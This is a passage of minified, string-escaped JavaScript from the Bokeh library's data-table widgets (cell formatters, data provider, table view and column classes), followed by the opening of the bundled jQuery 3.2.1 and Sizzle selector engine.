i=this,l=this.format,s=this.language,a=function(){switch(i.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}}();return n=u.format(n,l,s,a),c.prototype.doFormat.call(this,e,t,n,o,r)},e}(l);(n.NumberFormatter=f).initClass();var h=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BooleanFormatter\\\",this.define({icon:[o.String,\\\"check\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){return n?d.i({class:this.icon}).outerHTML:\\\"\\\"},e}(i);(n.BooleanFormatter=h).initClass();var g=function(l){function e(e){return l.call(this,e)||this}return a.__extends(e,l),e.initClass=function(){this.prototype.type=\\\"DateFormatter\\\",this.define({format:[o.String,\\\"ISO-8601\\\"]})},e.prototype.getFormat=function(){switch(this.format){case\\\"ATOM\\\":case\\\"W3C\\\":case\\\"RFC-3339\\\":case\\\"ISO-8601\\\":return\\\"%Y-%m-%d\\\";case\\\"COOKIE\\\":return\\\"%a, %d %b %Y\\\";case\\\"RFC-850\\\":return\\\"%A, %d-%b-%y\\\";case\\\"RFC-1123\\\":case\\\"RFC-2822\\\":return\\\"%a, %e %b %Y\\\";case\\\"RSS\\\":case\\\"RFC-822\\\":case\\\"RFC-1036\\\":return\\\"%a, %e %b %y\\\";case\\\"TIMESTAMP\\\":return;default:return this.format}},e.prototype.doFormat=function(e,t,n,o,r){n=p.isString(n)?parseInt(n,10):n;var i=s(n,this.getFormat());return l.prototype.doFormat.call(this,e,t,i,o,r)},e}(i);(n.DateFormatter=g).initClass();var m=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"HTMLTemplateFormatter\\\",this.define({template:[o.String,\\\"<%= value %>\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.template;if(null==n)return\\\"\\\";var l=c(i),s=a.__assign({},r,{value:n});return l(s)},e}(i);(n.HTMLTemplateFormatter=m).initClass()},435:function(e,t,i){var o=e(391),s=e(447).Grid,a=e(445).RowSelectionModel,c=e(444).CheckboxSelectColumn,r=e(15),n=e(38),l=e(21),u=e(32),d=e(14),p=e(439),f=e(440);i.DTINDEX_NAME=\\\"__bkdt_internal_index__\\\";var h=function(){function e(e,t){if(this.source=e,this.view=t,i.DTINDEX_NAME in this.source.data)throw new Error(\\\"special name \\\"+i.DTINDEX_NAME+\\\" cannot be used as a data table column\\\");this.index=this.view.indices}return e.prototype.getLength=function(){return this.index.length},e.prototype.getItem=function(e){for(var t={},n=0,o=u.keys(this.source.data);n<o.length;n++){var r=o[n];t[r]=this.source.data[r][this.index[e]]}return t[i.DTINDEX_NAME]=this.index[e],t},e.prototype.getField=function(e,t){return t==i.DTINDEX_NAME?this.index[e]:this.source.data[t][this.index[e]]},e.prototype.setField=function(e,t,n){var o={},r=this.index[e];o[t]=[[r,n]],this.source.patch(o)},e.prototype.getItemMetadata=function(e){return null},e.prototype.getRecords=function(){var t=this;return l.range(0,this.getLength()).map(function(e){return t.getItem(e)})},e.prototype.sort=function(e){var u=e.map(function(e){return[e.sortCol.field,e.sortAsc?1:-1]});0==u.length&&(u=[[i.DTINDEX_NAME,1]]);var d=this.getRecords(),p=this.index.slice();this.index.sort(function(e,t){for(var n=0,o=u;n<o.length;n++){var r=o[n],i=r[0],l=r[1],s=d[p.indexOf(e)][i],a=d[p.indexOf(t)][i],c=s==a?0:a<s?l:-l;if(0!=c)return c}return 0})},e}();i.DataProvider=h;var g=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e._in_selection_update=!1,e._warned_not_reorderable=!1,e}return o.__extends(e,t),e.prototype.connect_signals=function(){var e=this;t.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.render()}),this.connect(this.model.source.streaming,function(){return e.updateGrid()}),this.connect(this.model.source.patching,function(){return e.updateGrid()}),this.connect(this.model.source.change,function(){return e.updateGrid()}),this.connect(this.model.source.properties.data.change,function(){return e.updateGrid()}),this.connect(this.model.source.selected.change,function(){return e.updateSelection()}),this.connect(this.model.source.selected.properties.indices.change,function(){return e.updateSelection()})},e.prototype.updateGrid=function(){var t=this;this.model.view.compute_indices(),this.data.constructor(this.model.source,this.model.view);var n=this.grid.getColumns(),e=this.grid.getSortColumns().map(function(e){return{sortCol:{field:n[t.grid.getColumnIndex(e.columnId)].field},sortAsc:e.sortAsc}});this.data.sort(e),this.grid.invalidate(),this.grid.render()},e.prototype.updateSelection=function(){var t=this;if(!this._in_selection_update){var e=this.model.source.selected,n=e.indices.map(function(e){return t.data.index.indexOf(e)});this._in_selection_update=!0,this.grid.setSelectedRows(n),this._in_selection_update=!1;var o=this.grid.getViewport(),r=this.model.get_scroll_index(o,n);null!=r&&this.grid.scrollRowToTop(r)}},e.prototype.newIndexColumn=function(){return{id:n.uniqueId(),name:this.model.index_header,field:i.DTINDEX_NAME,width:this.model.index_width,behavior:\\\"select\\\",cannotTriggerInsert:!0,resizable:!1,selectable:!1,sortable:!0,cssClass:\\\"bk-cell-index\\\",headerCssClass:\\\"bk-header-index\\\"}},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-data-table\\\")},e.prototype.render=function(){var e,n=this,o=this.model.columns.map(function(e){return e.toColumn()});if(\\\"checkbox\\\"==this.model.selectable&&(e=new c({cssClass:\\\"bk-cell-select\\\"}),o.unshift(e.getColumnDefinition())),null!=this.model.index_position){var t=this.model.index_position,r=this.newIndexColumn();-1==t?o.push(r):t<-1?o.splice(t+1,0,r):o.splice(t,0,r)}var i=this.model.reorderable;!i||\\\"undefined\\\"!=typeof $&&null!=$.fn&&null!=$.fn.sortable||(this._warned_not_reorderable||(d.logger.warn(\\\"jquery-ui is required to enable DataTable.reorderable\\\"),this._warned_not_reorderable=!0),i=!1);var l={enableCellNavigation:!1!==this.model.selectable,enableColumnReorder:i,forceFitColumns:this.model.fit_columns,autoHeight:\\\"auto\\\"==this.model.height,multiColumnSort:this.model.sortable,editable:this.model.editable,autoEdit:!1};null!=this.model.width?this.el.style.width=this.model.width+\\\"px\\\":this.el.style.width=this.model.default_width+\\\"px\\\",null!=this.model.height&&\\\"auto\\\"!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),this.data=new h(this.model.source,this.model.view),this.grid=new s(this.el,this.data,o,l),this.grid.onSort.subscribe(function(e,t){o=t.sortCols,n.data.sort(o),n.grid.invalidate(),n.updateSelection(),n.grid.render(),n.model.header_row||n._hide_header()}),!1!==this.model.selectable&&(this.grid.setSelectionModel(new a({selectActiveRow:null==e})),null!=e&&this.grid.registerPlugin(e),this.grid.onSelectedRowsChanged.subscribe(function(e,t){n._in_selection_update||(n.model.source.selected.indices=t.rows.map(function(e){return n.data.index[e]}))}),this.updateSelection(),this.model.header_row||this._hide_header())},e.prototype._hide_header=function(){for(var e=0,t=Array.from(this.el.querySelectorAll(\\\".slick-header-columns\\\"));e<t.length;e++){var n=t[e];n.style.height=\\\"0px\\\"}this.grid.resizeCanvas()},e}(f.WidgetView);i.DataTableView=g;var m=function(n){function e(e){var t=n.call(this,e)||this;return t.default_width=600,t}return o.__extends(e,n),e.initClass=function(){this.prototype.type=\\\"DataTable\\\",this.prototype.default_view=g,this.define({columns:[r.Array,[]],fit_columns:[r.Bool,!0],sortable:[r.Bool,!0],reorderable:[r.Bool,!0],editable:[r.Bool,!1],selectable:[r.Any,!0],index_position:[r.Int,0],index_header:[r.String,\\\"#\\\"],index_width:[r.Int,40],scroll_to_selection:[r.Bool,!0],header_row:[r.Bool,!0]}),this.override({height:400})},e.prototype.get_scroll_index=function(t,e){return this.scroll_to_selection&&0!=e.length?l.any(e,function(e){return t.top<=e&&e<=t.bottom})?null:Math.max(0,Math.min.apply(Math,e)-1):null},e}(p.TableWidget);(i.DataTable=m).initClass()},436:function(e,t,n){var o=e(391);o.__exportStar(e(433),n),o.__exportStar(e(434),n);var r=e(435);n.DataTable=r.DataTable;var i=e(438);n.TableColumn=i.TableColumn;var l=e(439);n.TableWidget=l.TableWidget},437:function(e,t,n){var o=e(436);n.Tables=o;var r=e(0);r.register_models(o)},438:function(e,t,n){var o=e(391),r=e(434),i=e(433),l=e(15),s=e(38),a=e(59),c=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableColumn\\\",this.define({field:[l.String],title:[l.String],width:[l.Number,300],formatter:[l.Instance,function(){return new r.StringFormatter}],editor:[l.Instance,function(){return new i.StringEditor}],sortable:[l.Bool,!0],default_sort:[l.String,\\\"ascending\\\"]})},e.prototype.toColumn=function(){return{id:s.uniqueId(),field:this.field,name:this.title,width:this.width,formatter:null!=this.formatter?this.formatter.doFormat.bind(this.formatter):void 0,model:this.editor,editor:this.editor.default_view,sortable:this.sortable,defaultSortAsc:\\\"ascending\\\"==this.default_sort}},e}(a.Model);(n.TableColumn=c).initClass()},439:function(e,t,n){var o=e(391),r=e(440),i=e(199),l=e(15),s=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableWidget\\\",this.define({source:[l.Instance],view:[l.Instance,function(){return new i.CDSView}]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.source,this.view.compute_indices())},e}(r.Widget);(n.TableWidget=s).initClass()},440:function(e,t,n){var o=e(391),r=e(157),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},t.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},t.prototype.get_width=function(){throw new Error(\\\"unused\\\")},t.prototype.get_height=function(){throw new Error(\\\"unused\\\")},t}(r.LayoutDOMView);n.WidgetView=i;var l=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"Widget\\\"},e}(r.LayoutDOM);(n.Widget=l).initClass()},441:function(e,n,t){\\n      /*!\\n           * jQuery JavaScript Library v3.2.1\\n           * https://jquery.com/\\n           *\\n           * Includes Sizzle.js\\n           * https://sizzlejs.com/\\n           *\\n           * Copyright JS Foundation and other contributors\\n           * Released under the MIT license\\n           * https://jquery.org/license\\n           *\\n           * Date: 2017-03-20T18:59Z\\n           */\\n      !function(e,t){\\\"use strict\\\";\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?n.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\\\"jQuery requires a window with a document\\\");return t(e)}:t(e)}(\\\"undefined\\\"!=typeof window?window:this,function(R,e){\\\"use strict\\\";var t=[],S=R.document,o=Object.getPrototypeOf,s=t.slice,g=t.concat,a=t.push,r=t.indexOf,n={},i=n.toString,h=n.hasOwnProperty,l=h.toString,c=l.call(Object),m={};function v(e,t){var n=(t=t||S).createElement(\\\"script\\\");n.text=e,t.head.appendChild(n).parentNode.removeChild(n)}var E=function(e,t){return new E.fn.init(e,t)},u=/^[\\\\s\\\\uFEFF\\\\xA0]+|[\\\\s\\\\uFEFF\\\\xA0]+$/g,d=/^-ms-/,p=/-([a-z])/g,f=function(e,t){return t.toUpperCase()};function w(e){var t=!!e&&\\\"length\\\"in e&&e.length,n=E.type(e);return\\\"function\\\"!==n&&!E.isWindow(e)&&(\\\"array\\\"===n||0===t||\\\"number\\\"==typeof t&&0<t&&t-1 in e)}E.fn=E.prototype={jquery:\\\"3.2.1\\\",constructor:E,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=E.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return E.each(this,e)},map:function(n){return this.pushStack(E.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:a,sort:t.sort,splice:t.splice},E.extend=E.fn.extend=function(){var e,t,n,o,r,i,l=arguments[0]||{},s=1,a=arguments.length,c=!1;for(\\\"boolean\\\"==typeof l&&(c=l,l=arguments[s]||{},s++),\\\"object\\\"==typeof l||E.isFunction(l)||(l={}),s===a&&(l=this,s--);s<a;s++)if(null!=(e=arguments[s]))for(t in e)n=l[t],o=e[t],l!==o&&(c&&o&&(E.isPlainObject(o)||(r=Array.isArray(o)))?(r?(r=!1,i=n&&Array.isArray(n)?n:[]):i=n&&E.isPlainObject(n)?n:{},l[t]=E.extend(c,i,o)):void 0!==o&&(l[t]=o));return l},E.extend({expando:\\\"jQuery\\\"+(\\\"3.2.1\\\"+Math.random()).replace(/\\\\D/g,\\\"\\\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\\\"function\\\"===E.type(e)},isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){var t=E.type(e);return(\\\"number\\\"===t||\\\"string\\\"===t)&&!isNaN(e-parseFloat(e))},isPlainObject:function(e){var t,n;return!(!e||\\\"[object Object]\\\"!==i.call(e))&&(!(t=o(e))||\\\"function\\\"==typeof(n=h.call(t,\\\"constructor\\\")&&t.constructor)&&l.call(n)===c)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},type:function(e){return null==e?e+\\\"\\\":\\\"object\\\"==typeof e||\\\"function\\\"==typeof e?n[i.call(e)]||\\\"object\\\":typeof e},globalEval:function(e){v(e)},camelCase:function(e){return e.replace(d,\\\"ms-\\\").replace(p,f)},each:function(e,t){var n,o=0;if(w(e))for(n=e.length;o<n&&!1!==t.call(e[o],o,e[o]);o++);else for(o in e)if(!1===t.call(e[o],o,e[o]))break;return e},trim:function(e){return null==e?\\\"\\\":(e+\\\"\\\").replace(u,\\\"\\\")},makeArray:function(e,t){var n=t||[];return null!=e&&(w(Object(e))?E.merge(n,\\\"string\\\"==typeof e?[e]:e):a.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:r.call(t,e,n)},merge:function(e,t){for(var n=+t.length,o=0,r=e.length;o<n;o++)e[r++]=t[o];return e.length=r,e},grep:function(e,t,n){for(var o=[],r=0,i=e.length,l=!n;r<i;r++)!t(e[r],r)!==l&&o.push(e[r]);return o},map:function(e,t,n){var o,r,i=0,l=[];if(w(e))for(o=e.length;i<o;i++)null!=(r=t(e[i],i,n))&&l.push(r);else for(i in e)null!=(r=t(e[i],i,n))&&l.push(r);return g.apply([],l)},guid:1,proxy:function(e,t){var n,o,r;if(\\\"string\\\"==typeof t&&(n=e[t],t=e,e=n),E.isFunction(e))return o=s.call(arguments,2),(r=function(){return e.apply(t||this,o.concat(s.call(arguments)))}).guid=e.guid=e.guid||E.guid++,r},now:Date.now,support:m}),\\\"function\\\"==typeof Symbol&&(E.fn[Symbol.iterator]=t[Symbol.iterator]),E.each(\\\"Boolean Number String Function Array Date RegExp Object Error Symbol\\\".split(\\\" \\\"),function(e,t){n[\\\"[object \\\"+t+\\\"]\\\"]=t.toLowerCase()});var y=\\n      /*!\\n               * Sizzle CSS Selector Engine v2.3.3\\n               * https://sizzlejs.com/\\n               *\\n               * Copyright jQuery Foundation and other contributors\\n               * Released under the MIT license\\n               * http://jquery.org/license\\n               *\\n               * Date: 2016-08-08\\n               */\\n      function(n){var e,f,C,i,r,h,d,g,b,a,c,x,R,l,S,m,s,u,v,E=\\\"sizzle\\\"+1*new Date,w=n.document,k=0,o=0,p=le(),y=le(),T=le(),P=function(e,t){return e===t&&(c=!0),0},D={}.hasOwnProperty,t=[],A=t.pop,N=t.push,$=t.push,H=t.slice,L=function(e,t){for(var n=0,o=e.length;n<o;n++)if(e[n]===t)return n;return-1},F=\\\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\\\",_=\\\"[\\\\\\\\x20\\\\\\\\t\\\\\\\\r\\\\\\\\n\\\\\\\\f]\\\",I=\\\"(?:\\\\\\\\\\\\\\\\.|[\\\\\\\\w-]|[^\\\\0-\\\\\\\\xa0])+\\\",M=\\\"\\\\\\\\[\\\"+_+\\\"*(\\\"+I+\\\")(?:\\\"+_+\\\"*([*^$|!~]?=)\\\"+_+\\\"*(?:'((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\"|(\\\"+I+\\\"))|)\\\"+_+\\\"*\\\\\\\\]\\\",W=\\\":(\\\"+I+\\\")(?:\\\\\\\\((('((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\")|((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\()[\\\\\\\\]]|\\\"+M+\\\")*)|.*)\\\\\\\\)|)\\\",j=new RegExp(_+\\\"+\\\",\\\"g\\\"),V=new RegExp(\\\"^\\\"+_+\\\"+|((?:^|[^\\\\\\\\\\\\\\\\])(?:\\\\\\\\\\\\\\\\.)*)\\\"+_+\\\"+$\\\",\\\"g\\\"),B=new RegExp(\\\"^\\\"+_+\\\"*,\\\"+_+\\\"*\\\"),q=new RegExp(\\\"^\\\"+_+\\\"*([>+~]|\\\"+_+\\\")\\\"+_+\\\"*\\\"),O=new RegExp(\\\"=\\\"+_+\\\"*([^\\\\\\\\]'\\\\\\\"]*?)\\\"+_+\\\"*\\\\\\\\]\\\",\\\"g\\\"),z=new RegExp(W),X=new RegExp(\\\"^\\\"+I+\\\"$\\\"),U={ID:new RegExp(\\\"^#(\\\"+I+\\\")\\\"),CLASS:new RegExp(\\\"^\\\\\\\\.(\\\"+I+\\\")\\\"),TAG:new RegExp(\\\"^(\\\"+I+\\\"|[*])\\\"),ATTR:new RegExp(\\\"^\\\"+M),PSEUDO:new RegExp(\\\"^\\\"+W),CHILD:new RegExp(\\\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\\\\\(\\\"+_+\\\"*(even|odd|(([+-]|)(\\\\\\\\d*)n|)\\\"+_+\\\"*(?:([+-]|)\\\"+_+\\\"*(\\\\\\\\d+)|))\\\"+_+\\\"*\\\\\\\\)|)\\\",\\\"i\\\"),bool:new RegExp(\\\"^(?:\\\"+F+\\\")$\\\",\\\"i\\\"),needsContext:new RegExp(\\\"^\\\"+_+\\\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\\\\\(\\\"+_+\\\"*((?:-\\\\\\\\d)?\\\\\\\\d*)\\\"+_+\\\"*\\\\\\\\)|)(?=[^-]|$)\\\",\\\"i\\\")},K=/^(?:input|select|textarea|button)$/i,G=/^h\\\\d$/i,Y=/^[^{]+\\\\{\\\\s*\\\\[native \\\\w/,Q=/^(?:#([\\\\w-]+)|(\\\\w+)|\\\\.([\\\\w-]+))$/,J=/[+~]/,Z=new RegExp(\\\"\\\\\\\\\\\\\\\\([\\\\\\\\da-f]{1,6}\\\"+_+\\\"?|(\\\"+_+\\\")|.)\\\",\\\"ig\\\"),ee=function(e,t,n){var o=\\\"0x\\\"+t-65536;return o!=o||n?t:o<0?String.fromCharCode(o+65536):String.fromCharCode(o>>10|55296,1023&o|56320)},te=/([\\\\0-\\\\x1f\\\\x7f]|^-?\\\\d)|^-$|[^\\\\0-\\\\x1f\\\\x7f-\\\\uFFFF\\\\w-]/g,ne=function(e,t){return t?\\\"\\\\0\\\"===e?\\\"ï¿½\\\":e.slice(0,-1)+\\\"\\\\\\\\\\\"+e.charCodeAt(e.length-1).toString(16)+\\\" \\\":\\\"\\\\\\\\\\\"+e},oe=function(){x()},re=we(function(e){return!0===e.disabled&&(\\\"form\\\"in e||\\\"label\\\"in e)},{dir:\\\"parentNode\\\",next:\\\"legend\\\"});try{$.apply(t=H.call(w.childNodes),w.childNodes),t[w.childNodes.length].nodeType}catch(e){$={apply:t.length?function(e,t){N.apply(e,H.call(t))}:function(e,t){for(var n=e.length,o=0;e[n++]=t[o++];);e.length=n-1}}}function ie(e,t,n,o){var r,i,l,s,a,c,u,d=t&&t.ownerDocument,p=t?t.nodeType:9;if(n=n||[],\\\"string\\\"!=typeof e||!e||1!==p&&9!==p&&11!==p)return n;if(!o&&((t?t.ownerDocument||t:w)!==R&&x(t),t=t||R,S)){if(11!==p&&(a=Q.exec(e)))if(r=a[1]){if(9===p){if(!(l=t.getElementById(r)))return n;if(l.id===r)return n.push(l),n}else if(d&&(l=d.getElementById(r))&&v(t,l)&&l.id===r)return n.push(l),n}else{if(a[2])return $.apply(n,t.getElementsByTagName(e)),n;if((r=a[3])&&f.getElementsByClassName&&t.getElementsByClassName)return $.apply(n,t.getElementsByClassName(r)),n}if(f.qsa&&!T[e+\\\" \\\"]&&(!m||!m.test(e))){if(1!==p)d=t,u=e;else if(\\\"object\\\"!==t.nodeName.toLowerCase()){for((s=t.getAttribute(\\\"id\\\"))?s=s.replace(te,ne):t.setAttribute(\\\"id\\\",s=E),c=h(e),i=c.length;i--;)c[i]=\\\"#\\\"+s+\\\" \\\"+ve(c[i]);u=c.join(\\\",\\\"),d=J.test(e)&&ge(t.parentNode)||t}if(u)try{return $.apply(n,d.querySelectorAll(u)),n}catch(e){}finally{s===E&&t.removeAttribute(\\\"id\\\")}}}return g(e.replace(V,\\\"$1\\\"),t,n,o)}function le(){var o=[];return function e(t,n){o.push(t+\\\" \\\")>C.cacheLength&&delete e[o.shift()];return e[t+\\\" \\\"]=n}}function se(e){return e[E]=!0,e}function ae(e){var t=R.createElement(\\\"fieldset\\\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ce(e,t){for(var n=e.split(\\\"|\\\"),o=n.length;o--;)C.attrHandle[n[o]]=t}function ue(e,t){var n=t&&e,o=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(o)return o;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function de(n){return function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&e.type===n}}function pe(n){return function(e){var t=e.nodeName.toLowerCase();return(\\\"input\\\"===t||\\\"button\\\"===t)&&e.type===n}}function fe(t){return function(e){return\\\"form\\\"in e?e.parentNode&&!1===e.disabled?\\\"label\\\"in e?\\\"label\\\"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&re(e)===t:e.disabled===t:\\\"label\\\"in e&&e.disabled===t}}function he(l){return se(function(i){return i=+i,se(function(e,t){for(var n,o=l([],e.length,i),r=o.length;r--;)e[n=o[r]]&&(e[n]=!(t[n]=e[n]))})})}function ge(e){return e&&void 0!==e.getElementsByTagName&&e}for(e in f=ie.support={},r=ie.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&\\\"HTML\\\"!==t.nodeName},x=ie.setDocument=function(e){var t,n,o=e?e.ownerDocument||e:w;return o!==R&&9===o.nodeType&&o.documentElement&&(l=(R=o).documentElement,S=!r(R),w!==R&&(n=R.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\\\"unload\\\",oe,!1):n.attachEvent&&n.attachEvent(\\\"onunload\\\",oe)),f.attributes=ae(function(e){return e.className=\\\"i\\\",!e.getAttribute(\\\"className\\\")}),f.getElementsByTagName=ae(function(e){return e.appendChild(R.createComment(\\\"\\\")),!e.getElementsByTagName(\\\"*\\\").length}),f.getElementsByClassName=Y.test(R.getElementsByClassName),f.getById=ae(function(e){return l.appendChild(e).id=E,!R.getElementsByName||!R.getElementsByName(E).length}),f.getById?(C.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute(\\\"id\\\")===t}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n=t.getElementById(e);return n?[n]:[]}}):(C.filter.ID=function(e){var n=e.replace(Z,ee);return function(e){var t=void 0!==e.getAttributeNode&&e.getAttributeNode(\\\"id\\\");return t&&t.value===n}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n,o,r,i=t.getElementById(e);if(i){if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i];for(r=t.getElementsByName(e),o=0;i=r[o++];)if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i]}return[]}}),C.find.TAG=f.getElementsByTagName?function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):f.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,o=[],r=0,i=t.getElementsByTagName(e);if(\\\"*\\\"===e){for(;n=i[r++];)1===n.nodeType&&o.push(n);return o}return i},C.find.CLASS=f.getElementsByClassName&&function(e,t){if(void 0!==t.getElementsByClassName&&S)return t.getElementsByClassName(e)},s=[],m=[],(f.qsa=Y.test(R.querySelectorAll))&&(ae(function(e){l.appendChild(e).innerHTML=\\\"<a id='\\\"+E+\\\"'></a><select id='\\\"+E+\\\"-\\\\r\\\\\\\\' msallowcapture=''><option selected=''></option></select>\\\",e.querySelectorAll(\\\"[msallowcapture^='']\\\").length&&m.push(\\\"[*^$]=\\\"+_+\\\"*(?:''|\\\\\\\"\\\\\\\")\\\"),e.querySelectorAll(\\\"[selected]\\\").length||m.push(\\\"\\\\\\\\[\\\"+_+\\\"*(?:value|\\\"+F+\\\")\\\"),e.querySelectorAll(\\\"[id~=\\\"+E+\\\"-]\\\").length||m.push(\\\"~=\\\"),e.querySelectorAll(\\\":checked\\\").length||m.push(\\\":checked\\\"),e.querySelectorAll(\\\"a#\\\"+E+\\\"+*\\\").length||m.push(\\\".#.+[+~]\\\")}),ae(function(e){e.innerHTML=\\\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\\\";var t=R.createElement(\\\"input\\\");t.setAttribute(\\\"type\\\",\\\"hidden\\\"),e.appendChild(t).setAttribute(\\\"name\\\",\\\"D\\\"),e.querySelectorAll(\\\"[name=d]\\\").length&&m.push(\\\"name\\\"+_+\\\"*[*^$|!~]?=\\\"),2!==e.querySelectorAll(\\\":enabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),l.appendChild(e).disabled=!0,2!==e.querySelectorAll(\\\":disabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),e.querySelectorAll(\\\"*,:x\\\"),m.push(\\\",.*:\\\")})),(f.matchesSelector=Y.test(u=l.matches||l.webkitMatchesSelector||l.mozMatchesSelector||l.oMatchesSelector||l.msMatchesSelector))&&ae(function(e){f.disconnectedMatch=u.call(e,\\\"*\\\"),u.call(e,\\\"[s!='']:x\\\"),s.push(\\\"!=\\\",W)}),m=m.length&&new RegExp(m.join(\\\"|\\\")),s=s.length&&new RegExp(s.join(\\\"|\\\")),t=Y.test(l.compareDocumentPosition),v=t||Y.test(l.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,o=t&&t.parentNode;return e===o||!(!o||1!==o.nodeType||!(n.contains?n.contains(o):e.compareDocumentPosition&&16&e.compareDocumentPosition(o)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},P=t?function(e,t){if(e===t)return c=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!f.sortDetached&&t.compareDocumentPosition(e)===n?e===R||e.ownerDocument===w&&v(w,e)?-1:t===R||t.ownerDocument===w&&v(w,t)?1:a?L(a,e)-L(a,t):0:4&n?-1:1)}:function(e,t){if(e===t)return c=!0,0;var n,o=0,r=e.parentNode,i=t.parentNode,l=[e],s=[t];if(!r||!i)return e===R?-1:t===R?1:r?-1:i?1:a?L(a,e)-L(a,t):0;if(r===i)return ue(e,t);for(n=e;n=n.parentNode;)l.unshift(n);for(n=t;n=n.parentNode;)s.unshift(n);for(;l[o]===s[o];)o++;return o?ue(l[o],s[o]):l[o]===w?-1:s[o]===w?1:0}),R},ie.matches=function(e,t){return ie(e,null,null,t)},ie.matchesSelector=function(e,t){if((e.ownerDocument||e)!==R&&x(e),t=t.replace(O,\\\"='$1']\\\"),f.matchesSelector&&S&&!T[t+\\\" \\\"]&&(!s||!s.test(t))&&(!m||!m.test(t)))try{var n=u.call(e,t);if(n||f.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){}return 0<ie(t,R,null,[e]).length},ie.contains=function(e,t){return(e.ownerDocument||e)!==R&&x(e),v(e,t)},ie.attr=function(e,t){(e.ownerDocument||e)!==R&&x(e);var n=C.attrHandle[t.toLowerCase()],o=n&&D.call(C.attrHandle,t.toLowerCase())?n(e,t,!S):void 0;return void 0!==o?o:f.attributes||!S?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},ie.escape=function(e){return(e+\\\"\\\").replace(te,ne)},ie.error=function(e){throw new Error(\\\"Syntax error, unrecognized expression: \\\"+e)},ie.uniqueSort=function(e){var t,n=[],o=0,r=0;if(c=!f.detectDuplicates,a=!f.sortStable&&e.slice(0),e.sort(P),c){for(;t=e[r++];)t===e[r]&&(o=n.push(r));for(;o--;)e.splice(n[o],1)}return a=null,e},i=ie.getText=function(e){var t,n=\\\"\\\",o=0,r=e.nodeType;if(r){if(1===r||9===r||11===r){if(\\\"string\\\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===r||4===r)return e.nodeValue}else for(;t=e[o++];)n+=i(t);return 